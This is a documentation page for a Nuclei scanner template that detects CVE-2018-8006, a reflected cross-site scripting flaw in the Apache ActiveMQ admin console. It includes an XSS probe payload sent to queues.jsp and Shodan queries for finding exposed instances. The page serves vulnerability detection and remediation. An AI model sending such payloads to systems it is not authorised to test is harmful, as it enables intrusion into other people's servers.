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Apache ActiveMQ <=5.15.5 - Cross-Site Scripting

ID: CVE-2018-8006

Severity: medium

Author: pdteam

Tags: cve2018,cve,apache,activemq,xss

Description

Section titled “Description”

Apache ActiveMQ versions 5.0.0 to 5.15.5 are vulnerable to cross-site scripting via the web based administration console on the queue.jsp page. The root cause of this issue is improper data filtering of the QueueFilter parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2018-8006


info:
  name: Apache ActiveMQ <=5.15.5 - Cross-Site Scripting
  author: pdteam
  severity: medium
  description: Apache ActiveMQ versions 5.0.0 to 5.15.5 are vulnerable to cross-site scripting via the web based administration console on the queue.jsp page. The root cause of this issue is improper data filtering of the QueueFilter parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Apache ActiveMQ to a version higher than 5.15.5 or apply the necessary patches provided by the vendor.
  reference:
    - http://activemq.apache.org/security-advisories.data/CVE-2018-8006-announcement.txt
    - https://lists.apache.org/thread.html/2b5c0039197a4949f29e1e2c9441ab38d242946b966f61c110808bcc@%3Ccommits.activemq.apache.org%3E
    - https://lists.apache.org/thread.html/fcbe6ad00f1de142148c20d813fae3765dc4274955e3e2f3ca19ff7b@%3Cdev.activemq.apache.org%3E
    - https://lists.apache.org/thread.html/a859563f05fbe7c31916b3178c2697165bd9bbf5a65d1cf62aef27d2@%3Ccommits.activemq.apache.org%3E
    - https://lists.apache.org/thread.html/03f91b1fb85686a848cee6b90112cf6059bd1b21b23bacaa11a962e1@%3Cdev.activemq.apache.org%3E
    - https://lists.apache.org/thread.html/3f1e41bc9153936e065ca3094bd89ff8167ad2d39ac0b410f24382d2@%3Cgitbox.activemq.apache.org%3E
    - https://lists.apache.org/thread.html/c0ec53b72b3240b187afb1cf67e4309a9e5f607282010aa196734814@%3Cgitbox.activemq.apache.org%3E
    - https://lists.apache.org/thread.html/rb698ed085f79e56146ca24ab359c9ef95846618675ea1ef402e04a6d@%3Ccommits.activemq.apache.org%3E
    - https://lists.apache.org/thread.html/r946488fb942fd35c6a6e0359f52504a558ed438574a8f14d36d7dcd7@%3Ccommits.activemq.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2018-8006
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-8006
    cwe-id: CWE-79
    epss-score: 0.34776
    epss-percentile: 0.97108
    cpe: cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: activemq
    shodan-query:
      - cpe:"cpe:2.3:a:apache:activemq"
      - product:"activemq openwire transport"
  tags: cve2018,cve,apache,activemq,xss


http:
  - method: GET
    path:
      - '{{BaseURL}}/admin/queues.jsp?QueueFilter=yu1ey%22%3e%3cscript%3ealert(%221%22)%3c%2fscript%3eqb68'


    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"><script>alert("1")</script>'


      - type: word
        part: header
        words:
          - "/html"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-8006.yaml"

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